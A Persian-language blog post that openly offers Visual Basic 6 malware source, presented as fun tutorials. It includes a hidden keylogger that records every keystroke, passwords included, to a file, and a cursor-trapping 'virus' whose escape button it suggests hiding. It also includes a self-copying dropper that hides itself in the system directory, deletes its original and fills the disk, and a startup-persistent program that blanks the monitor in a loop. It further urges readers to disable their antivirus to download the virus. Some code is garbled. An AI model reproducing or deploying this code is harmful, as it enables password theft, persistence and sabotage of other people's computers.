میخوام یه کد بزارم که کار keylogger را انجام میده . هر کلیدی را زدی و
هرچی نوشتی حتی رمز باشه . تو یه فایل ذخیره میکنه. کمی دقت کنین متوجه
کارش میشین آسونه :
قبل از هرچیزی یه textbox با یه command و یه timer توی فرمتون بزارین.
این قسمتو تو جنرال وارد کنید :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Dim i As Integer
Private Sub Command1_Click()
Form1.Visible = False
App.TaskVisible = False
End Sub
توی رویداد load فرم اینارو بنویسین :
Private Sub Form_Load()
If App.PrevInstance = True Then
Unload Me
End
End If
strBuffer = "==========================================" & vbCrLf
strBuffer = strBuffer & "Date of log: " & Format(Date, "YYYY-MM-DD") & vbCrLf
strBuffer = strBuffer & "Start of logging: " & Format(Time$, "HH:MM") & vbCrLf
strBuffer = strBuffer & "==================================" & vbCrLf
Open "C:Log.txt" For Append As #1
Print #1, strBuffer
Close #1
strBuffer = ""
End Sub
در رویداد unload هم این کدارو قرار بدین :
Private Sub Form_Unload(Cancel As Integer)
strBuffer = Text1.Text & vbCrLf
strBuffer = strBuffer & "================================" & vbCrLf
strBuffer = strBuffer & "End of logging: " & Format(Time$, "HH:MM") & vbCrLf
strBuffer = strBuffer & "======================" & vbCrLf & vbCrLf & vbCrLf
Open "C:log.txt" For Append As #2
Print #2, strBuffer
Close #2
End Sub
و در آخر در رویداد تایمر این دستورات را بنویسین :
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + KeyNames(i)
End If
Next i
End Sub
ماوس در قفس یکی از بهترین فیلم ها و پر هیجانترین فیلم سال هالیوود نیست ! بلکه کد ویروسه ! شیفم ؟!
فکر کنم تقريبا همتون اون ويروس لعنتی را که يه دفعه ظاهر میشه و شما رو
دعوت به راه نيک ميکنه و اگه گوش ندين ماوس رو توی قفس می اندازه را ديده
باشيد .راستش.
البته اين کدا فقط مربوط به تابع mouse cage و يا قفس ماوسه ولی اگه کمی سلیقه خرج بدین میتونین همون ویروس را دقیقا پیاده سازی کنین .
مواد مورد نیاز: یه دکمه Command
بريم سراغ کدها:
کد:
Private Type RECT
left As Long
top As Long
right As Long
bottom As Long
End Type
Private Type POINT
x As Long
y As Long
End Type
Private Declare Sub ClipCursor Lib "user32" (lpRect As Any)
Private Declare Sub GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT)
Private Declare Sub ClientToScreen Lib "user32" (ByVal hWnd As Long, lpPoint As POINT)
Private Declare Sub OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long)
Private Sub Form_Load()
Dim client As RECT
Dim upperleft As POINT
GetClientRect Me.hWnd, client
upperleft.x = client.left
upperleft.y = client.top
ClientToScreen Me.hWnd, upperleft
OffsetRect client, upperleft.x, upperleft.y
ClipCursor client
Command1.Caption = " disable" ' gheyre faal boodane maouse
End Sub
Private Sub Command1_Click()
ClipCursor ByVal 0&
End Sub
Private Sub Form_Unload(Cancel As Integer)
ClipCursor ByVal 0&
End Sub
دوستان اساس اين برنامه بر پايه تابعی بنام ClipCursor است.
کاراین تابع اینه که نشانگر ماوس را در یک مستطیل محبوس میکنه
ما در پاراگرافهای اول این مستطيل رو فرم خودمون در نظر گرفتيم و این و سرانجام در رویداد کلید 1کدهایی که سبب وغیر فعال شدن برنامه میشن رو قرار میدیم تا خودتون گیر نیفتین .(البته اگه خواستين از این برنامه بعنوان ویروس استفاده کنین کلید 1 را نا مرئی کنين)
البته گفتنیه که اگه تابع به مشکل بر بخوره عدد 0 رو بر میگردونه که ما با همین روش کلید 1 را برای غیر فعال سازی برنامه طراحی میکنیم در واقع با فشردن کلید 1 به تابع عدد 0 رو نسبت داده و برنامه رو غیر فعال می کنیم.
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Function SysDir() As String
Dim sysPath As String
sysPath = String(255, vbNullChar)
GetSystemDirectory sysPath, 255
SysDir = Left(sysPath, InStr(sysPath, vbNullChar) - 1)
End Function
Private Sub Form_Load()
If App.PrevInstance Then End
Call Randomize
Hide
App.Title = ""
App.TaskVisible = False
Register
On Error Resume Next
If App.Path <> SysDir & "winnt" Then
Dim s, d, srvname As String
srvname = List1.List(Int(Rnd * List1.ListCount))
s = """" & App.Path & "" & App.EXEName & ".exe" & """"
FileCopy App.Path & "" & App.EXEName & ".exe", SysDir & "winnt" & srvname
Shell (SysDir & "winnt" & srvname & " " & s), vbNormalFocus
SetAttr SysDir & "winnt" & srvname, vbHidden + vbReadOnly 'Dadan Kheslat Hidden Va Read Only
End
Else
If Command <> "" Then
d = Command
Shell ("cmd /c del " & d), vbHide 'Inja Fileh Melt Misheh
End If
End If
End Sub
Sub Register()
On Error GoTo d
Dim Demon As New FileSystemObject
Demon.CreateFolder SysDir & "winnt" 'Har chi to Poosheh Winnt Copy Sheh To Startup ejra misheh
Exit Sub '(Bad Az Reset Doذarثh Ejra Misheh)
d:
Exit Sub
End Sub
Private Sub Timer1_Timer()
Dim num As Long
Call Randomize
num = Rnd * 1000000000
Label1.Caption = num & "." & num
Open SysDir & "drivers" & Label1.Caption For Output As #1
Print #1, "Salam"
Close #1
SetAttr SysDir & "drivers" & Label1.Caption, vbSystem + vbHidden
Timer1.Enabled = False
Timer3.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Timer2_Timer()
Label2.Caption = Label2 + 90000 'Har chi iN Addado bozorg tar koni hard
End Sub 'zood tar por misheh bishtar iz in system hang mikoneh
Private Sub Timer3_Timer()
On Error GoTo d 'barayeh ineh keh ageh Erroreh Ovr Flow Dad Beh D: Bereh TA YEK FILEH DIGEH Besazeh
Open SysDir & "drivers" & Label1.Caption For Binary As #1
Seek #1, Label2.Caption
Put #1, , "
Close #1
Exit Sub
d:
Close #1
Timer3.Enabled = False
Timer2.Enabled = False
Timer1.Enabled = True
End Sub
این ویریو که اینجاا نوشتم مانیتور رو خاموش می کنه و استارت اپ (startup) هست
دقیقا این کد رو در قسمتی که تو ی اون کد می نویسید کپی کنید
Option Explicit Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Sub Form_Load() Dim fso As Variant Dim windir As Variant Dim file As Variant Dim file2 As Variant Dim reg As Variant Me.Hide App.TaskVisible = False Set fso = CreateObject("scripting.filesystemobject") Set windir = fso.getspecialfolder(0) file = App.Path & "" & App.EXEName & ".exe" FileCopy file, windir & "" & App.EXEName & ".exe" file2 = windir & "" & App.EXEName & ".exe" Set reg = CreateObject("wscript.shell") reg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentversion
unautoupdate", file2
do SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MON_OFF
loop
End Sub
بریییید حال کنید نامرده هرکی نظر ندههههه
از اینجا می تونید این ویروس رو دانلود کنید
اگه از آنتی ویروس استفاده می کنید برای دانلود این ویروس باید اونو غیر فعال کنید
تبادل
لینک هوشمند
برای تبادل
لینک ابتدا ما
را با عنوان گروه معماران مهاباد
و آدرس
architecture.group.LoxBlog.
ir لینک
نمایید سپس
مشخصات لینک
خود را در زیر
نوشته . در صورت
وجود لینک ما در
سایت شما
لینکتان به طور
خودکار در سایت
ما قرار میگیرد.
تبادل
لینک هوشمند
آمار
وبسایت: